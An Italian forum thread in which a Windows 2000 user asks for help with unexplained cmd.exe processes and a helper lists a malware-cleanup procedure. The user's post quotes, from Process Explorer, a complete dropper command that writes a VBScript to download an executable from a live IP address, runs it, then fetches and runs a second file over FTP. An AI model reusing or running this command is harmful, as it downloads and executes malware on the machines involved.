[WIN2k] cmd.exe indesiderati!

[Elettronico94]

Ciao a tutti!
Sono nuovo da queste parti, anche se spesso ho trovato in questo forum molte soluzioni a problemi che mi sono presentati in passato.

Adesso ho davvero un problema che non riesco a risolvere: apro il TaskManager e trovo tra i processi in esecuzione ben TRE cmd.exe, ho cercato su internet cos'è questo processo e ho letto che si tratta del Prompt di DOS che al momento NON sta girando sul computer. Il problema si è presentato qualche giorno fa, prima era assente. Adesso il PC è davvero più lento...

Ho fatto scansioni con AVG Free ma nulla...

Ora mi sono accorto che Zone Alarm mi avvisa che un certo CScript.exe vuole collegarsi ad internet (io rifiuto sempre), dopo ciò mi appare un nuovo cmd.exe nel TaskManager e sento il classico DING di Windows di quando c'è un errore o qualcosa di simile.

Ho provato a vedere cosa mi dice Process Explorer, guardando le proprietaà di uno dei CMD; ecco alcune righe:

Path:
D:\WINNT\system32\cmd.exe

Command line:
cmd /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1.vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.vbs&echo ExeURL = "http://5.255.14.217:7783/84785_mssql.exe">>c:\1.vbs&echo LocalPath = "c:\Rtsecar.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET = CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data = CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.>>c:\1.vbs&echo Const adTypeBinary = ^1>>c:\1.vbs&echo Const adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type = adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath, adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.vbs&start c:\Rtsecar.exe&echo open 5.255.14.217 16290>x&echo get 27031_mssql.exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit

Current directory:
D:\WINNT\system32\


NON ho assolutamente idea di che cosa sia, ma mi preoccupa parecchio, anche perché con il TaskManager quando tento di terminarli mi dice che non posso... con Process Exporer invece sì, ci riesco... Mi sapete aiutare?

Vi ringrazio in anticipo

P.S.: NON ho molte conoscenze in informatica, quindi mi scuso in anticipo se non comprenderò qualcosa... sono più un Elettronico

[wjmat]

Ciao benvenuto nel pronto soccorso di HU.

Per ripulire completamente il pc segui la guida alla disinfezione per infetti ed esegui tutte le scansioni ed il caricamento dei relativi log nelle modalità e nell'ordine indicato.

Leggi bene tutto questo post, e arriverai in fondo alla guida in perfetta autonomia
salvo in caso di problemi particolari...

Con la pulizia files inutili, e le scansioni vere e proprie di antispyware (1 e 2) ed antivirus (3 e 4) avrai un pc già ripulito al 90%, le prima 4 scansioni dureranno minimo un'oretta ciascuna, le altre scansioni sono veloci e servono a noi per avere le informazioni necessarie per i restanti interventi.

Ricapitolando, dopo aver disabilitato il ripristino di sistema, fatto la pulizia dei file inutili con ATFCleaner, vogliamo necessariamente in ordine e anche se non è stato rilevato nulla:

1. log di Malwarebytes Anti-Malware aggiornato ad oggi
2. log di A-squared scansione deep aggiornato ad oggi
3. log di Kaspersky Virus Removal Tool scaricato oggi oppure di F-Secure OnLine
4. log di Dr.Web CureIT scaricato oggi
5. log di ESET SysInspector
6. log di HiJackThis
7. log di Gmer
8. log di PrevxCSI

Se il sistema è molto compromesso, e non dovessi riuscire a seguire la guida, prima prova con il rescue cd di avira, a fare una pulizia preliminare.
In caso di continui riavvi, schermate blu, ecc.. stacca eventuali hardware nuovi, magari incompatibili e per escludere problemi con quelli già in uso fai un controllo del disco e della RAM, anche una memoria RAM con qualche giorno di vita può essere la causa di tutti i mali...

Se pensi che l'infezione possa essere partita da chiavette usb, o di avere hard disk esterni infetti, collegali prima del punto1 in modo che vengano ripuliti durante la disinfezione, in questo modo eviti di reinfettarti ancora dopo che hai ripulito il pc.

Nel caso il pc da disinfettare abbia problemi con internet o non ce l'abbia proprio, nelle info dei programmi guarda alla voce Portabilità, in modo da scaricare tutto il necessario da un pc pulito e portare tutto l'occorrente sul pc infetto

Tranne che per eseguire gli aggiornamenti e fare le scansioni che richiedano la connessione ad internet è sempre consigliato rimanere sconnessi e non usare il pc per altre operazioni.
Le scansioni falle in ordine e non contemporaneamente, rischi che i programmi non svolgano a dovere il loro compito, e comunque affaticando maggiormente il sistema non guadagneresti comunque tempo...

Questa è una brevissima guida alla pubblicazione dei log, qui e qui esempi precisi ed ordinati di come vorremmo tu li caricassi.

link utili per il caricamento log ed immagini
caricamento log fileqube.com, wikisend.com, mediafire.com
caricamento immagini fileqube.com

[Elettronico94]

Allora... vedo cosa riesco a fare... nel frattempo ho provato a disabilitare il ripristino di sistema, ma sulla pagina linkata non c'è riferimento al sistema operativo Windows 2000 che ho installato su questo PC.
E poi... cosa sarebbe il "ripristino di sistema"? Disabilitandolo a cosa vado incontro?

Grazie!
Saluti

[wjmat]

Originariamente inviato da Elettronico94

Allora... vedo cosa riesco a fare... nel frattempo ho provato a disabilitare il ripristino di sistema, ma sulla pagina linkata non c'è riferimento al sistema operativo Windows 2000 che ho installato su questo PC.
E poi... cosa sarebbe il "ripristino di sistema"? Disabilitandolo a cosa vado incontro?

Grazie!
Saluti

http://it.wikipedia.org/wiki/Riprist...one_di_sistema
se hai win 2000 non sei interessato